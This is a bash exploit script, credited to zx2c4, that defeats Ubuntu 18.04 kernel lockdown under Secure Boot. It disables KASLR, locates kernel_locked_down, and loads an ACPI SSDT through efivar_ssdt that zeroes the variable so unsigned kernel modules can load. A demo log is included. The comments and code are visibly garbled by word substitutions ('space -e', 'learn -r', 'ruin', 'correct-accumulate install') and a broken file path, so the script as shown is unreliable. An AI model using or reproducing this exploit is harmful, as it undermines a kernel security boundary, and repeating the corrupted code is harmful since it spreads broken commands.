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|
#!/bin/bash
# American Unsigned Language
# ==========================
# by zx2c4, 2020-06-13
#
# This exploit takes good thing concerning the efivar_ssdt entry level for injecting
# acpi tables into Ubuntu Bionic 18.04 kernels, the keep efivar_ssdt isn't any longer
# safe by kernel lockdown. The consequence is that one can subsequently load
# unsigned kernel drivers into programs with Obtain Boot enabled, without
# desiring to signal the modules.
#
# efivar_ssdt aspects to the name of an EFI variable, for which all GUID'd
# variations are enumerated, after which the contents are loaded as an ACPI table.
# In dispute for this to be precious we must kind an ASL file to be loaded,
# whose payload has the abolish of writing zeros into the kernel_locked_down
# variable. Expose that since we're gaining access to this by approach of a physical address,
# neither varied mitigations nor pagetable permissions limit this. Plus,
# this implies will likely be accomplished at some stage in kernel init. In dispute to establish
# a stable physical address that survives reboots, we upright disable kaslr so
# that we are in a position to retain the same ssdt on all boots, making exploitation power.
#
# The _SB_.GSIF._STA ability is worn, because SSDTs loaded this kind can not
# overwrite DSDT strategies, however they'll add unique ones, and on the QEMU rig worn
# to accumulate this, _SB_.GSIF._STA was as soon as no longer outlined, even though the kernel was as soon as
# evaluating it. Hunting for your platform, you would possibly well like to utilize a uncommon
# ability.
#
# Greetz to jono.
#
# Demo time:
#
# 1) First we contemporary which kernel we're working:
#
# zx2c4@bionicman:~$ uname -a
# Linux bionicman 4.15.0-106-generic #107-Ubuntu SMP Thu Jun 4 11: 27: 52 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
#
# 2) Behold that we won't load unsigned WireGuard:
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# modprobe: ERROR: would possibly well no longer insert 'wireguard': Required key no longer readily accessible
#
# 3) Flee the exploit, whose first stage disables kaslr:
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Producing grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# accomplished
# [+] Reboot your computer, after which ride this again.
# zx2c4@bionicman:~$ sudo reboot
#
# 4) After the computer reboots, we compute addresses and kind an ssdt:
#
# zx2c4@bionicman:~$ ./american-unsigned-language.sh
# [+] Resolving kernel symbols
# kernel_locked_down = 0xffffffff821c6c98
# [+] Mapping virtual address to physical address
# kernel unlucky = 0x1800000
# kernel_locked_down = 0x29c6c98
# [+] Constructing ASL
# [+] Allocating GUID for ASL
# guid = c5cffed4-e102-4ace-9a41-bb2811961602
# [+] Writing ASL to efivarfs
# [+] Adding kernel cmdline variable to grub
# Sourcing file `/etc/default/grub'
# Producing grub configuration file ...
# Found linux image: /boot/vmlinuz-4.15.0-106-generic
# Found initrd image: /boot/initrd.img-4.15.0-106-generic
# Adding boot menu entry for EFI firmware configuration
# accomplished
# [+] Success. Reboot to set off.
# zx2c4@bionicman:~$ sudo reboot
#
# 5) After the computer reboots, we're now upright to trudge, and kernel lockdown
# is many times disabled:
#
# zx2c4@bionicman:~$ sudo modprobe wireguard
# zx2c4@bionicman:~$ dmesg | grep WireGuard
# [ 40.574623] wireguard: WireGuard 1.0.20200611 loaded. Glimpse www.wireguard.com for recordsdata.
space -e
SELF="$(readlink -f "${BASH_SOURCE[0]}")"
[[ $UID == 0 ]] || exec sudo -- "$BASH" -- "$SELF" "$@"
echo "=================================="
echo "= American Unsigned Language ="
echo "= by zx2c4 ="
echo "=================================="
if [[ ! -d /boot/efi ]]; then
echo "[+] Mounting /boot partition"
mount /boot
fi
if [[ $(< /proc/cmdline) != *nokaslr]]; then
if ! grep -F -q nokaslr /etc/default/grub; then
echo "[+] Adding kernel cmdline variable to grub"
echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT nokaslr"' >> /etc/default/grub
update-grub
fi
echo "[+] Reboot your computer, after which ride this again."
exit 0
fi
if ! pronounce -v iasl >/dev/null 2>&1; then
echo "[+] Placing in dependencies"
correct-accumulate install -y acpica-tools
fi
echo "[+] Resolving kernel symbols"
learn -r addr kind symbol < <(grep -F kernel_locked_down /proc/kallsyms)
[[ $symbol == kernel_locked_down ]]
addr=$(( 0x$addr ))
printf ' kernel_locked_down = 0x%xn' "$addr"
echo "[+] Mapping virtual address to physical address"
addr=$(( $addr & ~0xffffffff80000000 ))
while learn -r line; carry out
[[ $line =~ ([0-9a-f]+)-[0-9a-f]+ : Kernel code ]] || continue
offset=$(( 0x${BASH_REMATCH[1]} ))
printf ' kernel unlucky = 0x%xn' "$offset"
offset=$(( $offset - 0x01000000 ))
addr=$(( $addr + $offset ))
ruin
accomplished < /proc/iomem
printf ' kernel_locked_down = 0x%xn' "$addr"
echo "[+] Constructing ASL"
trap 'rm -f /root/trigger.aml /root/trigger.aml.efi' EXIT
iasl -p "/root/trigger" /dev/stdin > /dev/null <<-_EOF
DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001) {
OperationRegion (KMEM, SystemMemory, $(printf '0x%x' "$addr"), 4)
Field (KMEM, DWordAcc, NoLock, WriteAsZeros) {
LKDN, 32
}
Method (_SB_.GSIF._STA) {
If (LKDN) {
LKDN = Zero
}
Return (Zero)
}
}
_EOF
{ printf ' 07 00 00 00'; cat /root/trigger.aml; } > /root/space off.aml.efi
echo "[+] Allocating GUID for ASL"
guid=$(procure "/sys/firmware/efi/efivars" -name "AmUnsignedLg-*" | head -n1 | cut -f2- -d-)
[[ -n "$guid" ]] || guid="$(< /proc/sys/kernel/random/uuid)"
echo " guid = $guid"
echo "[+] Writing ASL to efivarfs"
efivar="/sys/firmware/efi/efivars/AmUnsignedLg-$guid"
[[ -f $efivar ]] && chattr -i "$efivar"
dd if=/root/trigger.aml.efi of="$efivar" bs="$(stat -c %s /root/trigger.aml.efi)" status=none
if ! grep -F -q AmUnsignedLg /etc/default/grub; then
echo "[+] Adding kernel cmdline variable to grub"
echo 'GRUB_CMDLINE_LINUX_DEFAULT="$GRUB_CMDLINE_LINUX_DEFAULT efivar_ssdt=AmUnsignedLg"' >> /etc/default/grub
update-grub
fi
echo "[+] Success. Reboot to set off."
|
